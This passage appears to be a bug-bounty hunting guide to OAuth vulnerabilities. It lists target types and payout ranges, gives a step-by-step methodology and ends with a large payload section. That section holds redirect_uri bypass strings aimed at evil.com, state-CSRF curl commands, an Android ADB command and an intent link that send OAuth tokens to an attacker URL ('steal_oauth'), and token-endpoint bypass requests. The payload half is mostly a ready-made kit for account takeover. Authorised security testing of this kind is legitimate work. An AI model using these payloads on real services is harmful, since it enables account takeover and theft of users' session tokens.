Crown Jewel Targets
OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.
Highest-value targets:
- Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
- Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
- Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
- Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
- Enterprise SSO connectors — critical infrastructure, high severity payouts
Asset types that pay most:
- OAuth authorization endpoints (
/oauth/authorize,/connect/authorize) - Token exchange endpoints (
/oauth/token) - Mobile deep link handlers (
push_notification_webview, custom scheme URIs) - Social login callback handlers (
/auth/callback,/oauth/callback)
Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.
Attack Surface Signals
URL Patterns to Hunt
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
Response Headers That Signal OAuth
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
JavaScript Patterns (grep in JS bundles)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
Tech Stack Signals
- Android apps with
intent-filterinAndroidManifest.xmlhandlinghttp://or custom scheme URIs - Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
- Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
.well-known/openid-configurationpresent = full OIDC surface available
Step-by-Step Hunting Methodology
-
Enumerate all OAuth entry points
- Spider the app for
/oauth,/connect,/auth,/loginpaths - Check
.well-known/openid-configurationand.well-known/oauth-authorization-server - Decompile mobile APKs:
apktool d app.apkand grep forredirect_uri,intent://, deep link schemes
- Spider the app for
-
Map the full OAuth flow
- Capture the authorization request: note
client_id,redirect_uri,state,nonce,response_type - Capture the callback: note where tokens/codes land, what validates state/nonce
- Capture the authorization request: note
-
Test
redirect_urivalidation (highest yield)- Try exact host bypass:
redirect_uri=https://legit.com.evil.com - Try path traversal:
redirect_uri=https://legit.com/callback/../../../evil - Try open redirects on the legitimate domain first, then chain into OAuth
- Try parameter pollution:
redirect_uri=https://legit.com&redirect_uri=https://evil.com - Try encoded characters:
%2F,%40,%23to confuse parsers
- Try exact host bypass:
-
Test
stateparameter (CSRF)- Remove
stateentirely — does the flow complete? - Reuse a fixed
statevalue across sessions - Check if
stateis validated server-side or only client-side
- Remove
-
Test
nonceparameter (replay/bypass)- Capture a nonce from one flow, attempt to replay it in another
- Check if nonce is validated after token exchange
- Test if nonce can be extracted via referrer leak (step 9)
-
Test authentication step completeness
- For multi-step auth (e.g., email verification + OAuth): can you skip to
/oauth/tokendirectly? - Check if partial auth state (unverified email) is accepted by the token endpoint
- For multi-step auth (e.g., email verification + OAuth): can you skip to
-
Hunt referrer leakage
- After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full
Refererheader - Look specifically at language switchers, analytics calls, social share buttons triggered post-auth
- After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full
-
Test mobile deep links
- For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
- Check if deep link handlers validate the origin/host before loading
- Test
push_notification_webviewpatterns that accept arbitrary URLs
-
Test misconfigured client credentials
- Check if
client_secretappears in JS bundles or APK resources - Test if token endpoint accepts arbitrary
redirect_urivalues when combined with leakedclient_id/client_secret
- Check if
-
Verify and document
- Confirm state is not validated → CSRF to account link
- Confirm token lands on attacker domain → session theft
- Confirm email verification skippable → auth bypass
- Run Gate 0 check before reporting
Payload & Detection Patterns
redirect_uri Bypass Payloads
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com
State CSRF Test
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
Nonce Extraction via Referrer
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
Mobile Deep Link Exploit (Android)
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
Token Endpoint Auth Bypass
# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "username=unverified@evil.com" \
-d "password=password123" \
-d "client_id=CLIENT_ID"
Grep Patterns for Recon
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
Common Root Causes
- Weak
redirect_urivalidation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then be